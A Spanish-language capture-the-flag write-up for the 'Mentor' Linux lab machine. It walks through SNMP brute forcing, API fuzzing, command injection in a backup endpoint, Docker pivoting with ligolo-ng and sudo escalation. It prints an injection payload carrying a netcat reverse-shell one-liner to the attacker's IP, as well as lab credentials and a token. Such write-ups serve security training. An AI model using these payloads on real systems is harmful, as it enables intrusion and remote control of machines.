Mentor

Publicado: 23 de Mayo de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Medium
📝 Descripción
Mentor es una máquina Linux de dificultad media que presenta múltiples vectores de ataque y técnicas de enumeración. La máquina aloja una aplicación web Flask que permite a los usuarios escribir citas motivadoras, complementada con una API REST documentada.
La explotación inicial requiere una enumeración exhaustiva que incluye el descubrimiento de servicios SNMP en el puerto 161/UDP, donde mediante fuerza bruta se obtienen credenciales válidas almacenadas en strings de comunidad. Paralelamente, el fuzzing de virtual hosts revela un subdominio API (api.mentorquotes.htb
) que expone endpoints administrativos protegidos por autenticación JWT.
El vector de ataque principal involucra la autenticación en la API utilizando credenciales obtenidas via SNMP, seguido del abuso de una funcionalidad de backup vulnerable a inyección de comandos. Esta vulnerabilidad permite ejecutar código remoto y obtener acceso inicial al sistema, aunque se descubre que el acceso es a un contenedor Docker.
La escalada de privilegios requiere técnicas de pivoting mediante port forwarding (utilizando ligolo-ng) para acceder a una base de datos PostgreSQL interna. Las credenciales extraídas de la base de datos permiten el acceso SSH al host real, y la escalada final se logra mediante el descubrimiento de credenciales adicionales en archivos de configuración SNMP y el abuso de permisos sudo mal configurados.
Vectores de ataque principales:
Enumeración SNMP y fuerza bruta de community strings
Fuzzing de virtual hosts y descubrimiento de APIs
Inyección de comandos en endpoint de backup
Pivoting desde contenedor Docker al host principal
Escalada mediante credenciales en archivos de configuración
Abuso de permisos sudo
🔭 Reconocimiento
Ping para verificación en base a TTL
❯ ping -c2 10.10.11.193
PING 10.10.11.193 (10.10.11.193) 56(84) bytes of data.
64 bytes from 10.10.11.193: icmp_seq=1 ttl=63 time=47.3 ms
64 bytes from 10.10.11.193: icmp_seq=2 ttl=63 time=47.4 ms
--- 10.10.11.193 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1007ms
rtt min/avg/max/mdev = 47.284/47.356/47.428/0.072 ms
💡 Nota: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.
Escaneo de puertos TCP
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.193 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
❯ echo $ports
22,80
Enumeración de servicios
❯ nmap -sC -sV -p$ports 10.10.10.75 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-23 11:33 CEST
Nmap scan report for 10.10.11.193
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c7:3b:fc:3c:f9:ce:ee:8b:48:18:d5:d1:af:8e:c2:bb (ECDSA)
|_ 256 44:40:08:4c:0e:cb:d4:f1:8e:7e:ed:a8:5c:68:a4:f7 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://mentorquotes.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: mentorquotes.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Escaneo de puertos UDP
nmap -sU -F 10.10.11.193
Nmap scan report for mentorquotes.htb (10.10.11.193)
Host is up (0.072s latency).
Not shown: 98 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
161/udp open snmp
⚠️ Importante: Detectamos durante la fase de enumeración con nmap que se está realizando virtual hosting. Debemos añadir el siguiente vhost a nuestro fichero /etc/hosts
echo "10.10.11.193 mentorquotes.htb" | sudo tee -a /etc/hosts
161 SNMP (UDP)
En primer lugar podemos hacer fuerza bruta para descubrir distintos strings de comunidades
wget https://raw.githubusercontent.com/SECFORCE/SNMP-Brute/refs/heads/master/snmpbrute.py
snmpbrute -t 10.10.11.193

command: snmpwalk -c [community name] -v [version] [IP]
snmpwalk -c internal -v2c 10.10.11.193 > snmp_10.10.11.193.txt
Nos genera un fichero bastante extenso con todas las strings pero tras una enumeración profunda descubrimos algo que podría sernos útil y que podría ser una credencial porque se está usando con un script en python llamado login.py:

🌐 Enumeración Web
80 HTTP
Enumerando el servicio web del puerto 80 de forma manual, no vemos gran cosa aparte de un portal donde los usuarios escriben citas motivadoras:

Enumeramos las tecnologías usando wappalyzer y vemos que está construida con python 3 y Flask:

Interceptamos la petición con Burpsuite y encontramos en la respuesta que el server es Werkzeug 2.0.3

Fuzzing de directorios (mentorquotes.htb)
No hallamos ningún recurso realizando fuzzing de directorios con gobuster y feroxbuster.
Fuzzing de vhosts (mentorquotes.htb)
Durante la realización del fuzzing de vhost, es importante destacar que tuve que ajustar el comando usando varios diccionarios y añadiendo finalmente la opción -mc all, la cual fue clave para que obtenga cualquier tipo de código de respuesta:
ffuf -u http://10.10.11.193 -H "Host: FUZZ.mentorquotes.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 18 -mc all
Halló un recureso api con un código de respuesta 404

Añadimos este nuevo vhost api.mentorquotes.htb
al fichero /etc/hosts
Volvemos a realizar fuzzing de directorios sobre el nuevo vhost descubierto:
Fuzzing directorios (api.mentorquotes.htb)

Encontramos varios recursos:
http://api.mentorquotes.htb/admin/

http://api.mentorquotes.htb/users/

http://api.mentorquotes.htb/docs
Uno de los recursos descubiertos contiene documentación sobre la API:
http://api.mentorquotes.htb/docs


Apuntamos este usuario por si pudiese sernos de utilidad.
💻 Explotación
Vamos a jugar con la API para ver si podemos encontrar un vector de ataque. Atacamos el endpoint de login usando el usuario que hemos obtenido "james" y usamos como contraseña el valor encontrado en la string de snmp:
curl -s -X POST 'http://api.mentorquotes.htb/auth/login' \
-d '{"email":"james@mentorquotes.htb", "username": "james", "password":"kj23sadkj123as0-d213"}' \
-H 'Content-Type: application/json'
Vemos que el servicio nos responde con lo que podría ser un token:

Existe otro endpoint /users que requiere de especificar una cadena de autorización para poder usarlo, probemos con el token que hemos obtenido:

Construimos la petición GET con curl especificando el token en la cabecera de autorización y hacemos un pipe de jq para formatear la salida a formato JSON para una mejor visualización de la salida:
curl -X GET http://api.mentorquotes.htb/users/ -H "Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0" | jq
![[Pasted image 20250523141535.png]]
Por otro lado, si vamos al endpoint /admin e interceptamos la petición con burp y añadimos la cabecera de autorización con el token obtenido:

Vemos en la respuesta que parece que hay un par de funciones de administración:
{"admin_funcs":{"check db connection":"/check","backup the application":"/backup"}}
Repetimos la misma operación con cada uno de ellos:
/check

Parece que esta función aún no ha sido implementada y nos sirve de utilidad.
/backup

Esta nos indica que el tipo de petición no está permitida, cambiemos el GET por un POST:

Ahora nos falla porque el servicio espera que le enviemos como parámetro un JSON que tenga esa estructura con un body.
Añadimos primeo la cabecera content-type: application/json y metemos un json vacío

Ahora que ya sabemos la estructura que espera el servicio, la pasamos en la llamada:

Vemos que el servicio devuelve un DONE!, por lo que a priori parece haber ido bien.
Initial foothold
Podemos abusar de esta petición para intentar ejecutar un RCE . Veamos primero si el parámetro path es vulnerable a inyección de comandos
Iniciamos la captura de tráfico de protocolo icmp
sudo tcpdump -i tun0 icmp
Usamos el siguiente payload mediante el uso del carácter ; para ejecutar la inyección de comandos:
/etc/passwd;ping -c2 10.10.14.8;
Interceptamos la petición ping a nuestro host, luego la inyección funciona y validamos la prueba de concepto.

Iniciamos un listener
nc -nlvp 1234
Veamos ahora como podría llevar a cabo esto con una shell one liner para llevar a cabo un RCE:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 1234 >/tmp/f

"/etc/passwd; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 1234 >/tmp/f;"

Ganamos acceso a la máquina. Al principio parece que nuestro objetivo es doble, porque somo root, pero pronto nos damos cuenta de que estamos dentro de un contenedor de docker
Obtenemos la primera flag en el directorio /home/svc

👑 Escalada de privilegios
Enumeramos la máquina y descubrimos un archivo db.py en el directorio /app/app:

Para ganar acceso a la base de datos, necesitamos realizar port forwading, en este caso no podemos usar ssh porque no tenemos ninguna clave privada con la que podes conectarnos usando este protocolo, lo haremos usando ligolo-ng
Descargamos ligolo tanto el proxy como el cliente
https://github.com/Nicocha30/ligolo-ng
Definimos una interfaz para ligolo
sudo ip tuntap add user $USER mode tun ligolo
Levantamos la interfaz
sudo ip link set ligolo up
Iniciamos el proxy en el host de ataque
./proxy selfcert
Transferimos el agente al host destino, le damos permisos de ejecución y lo ejecutamos
./agent -connect 10.10.14.8:11601 -ignore-cert
Ahora añadimos un listener para realizar el redireccionamiento
listener_add --addr 0.0.0.0:5432 --to 127.0.0.1:5432
A continuación usamos el siguiente comando para conectarnos a la base de datos
psql -h 127.0.0.1 -p 5432 -d mentorquotes_db -U postgres
Password for user postgres:
psql (14.5 (Debian 14.5-1), server 13.7 (13.7-1.pgdg110+1))
Type "help" for help.
mentorquotes_db=# SELECT * FROM users;
id | email | username | password
----+----------------------------+--------------+--------------------------------------
1 | james@mentorquotes.htb | james | 7ccdc... (truncado)
2 | svc@mentorquotes.htb | service_acc | 53f22d0dfa10dce7e29cd31f4f953fd8
El hash está en md5, obtenemos la contraseña:

Ahora nos conectamos a través del protocolo ssh usando el usuario svc y la contraseña obtenida:
ssh svc@10.10.11.193
123meunomeeivani
Escalada a usuario james
Buscamos ahora la escalada de privilegios
Transferimos la herramienta linpeas.sh al directorio /tmp de la máquina objetivo, le damos permisos de ejecución y ejecutamos.
svc@mentor:/tmp$ ./linpeas.sh

Revisando el archivo /etc/snmp/snmpd.conf encontramos una credencial:

Escalada a root
Nos autenticamos como james usando la contraseña obtenida en el fichero snmpd.conf y logramos escalar a este usuario. A continuación, verificamos si puede ejecutar algún comando como root:
su james
SuperSecurePassword123___
james@mentor:~$ sudo -l
[sudo] password for james:
Matching Defaults entries for james on mentor:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User james may run the following commands on mentor:
(ALL) /bin/sh
james@mentor:~$
En este caso, vemos que james puede ejecutar una shell como root, por lo que la escalada es muy sencilla y basta con hacer lo siguiente:
james@mentor:~$ sudo /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# cat root.txt
Last updated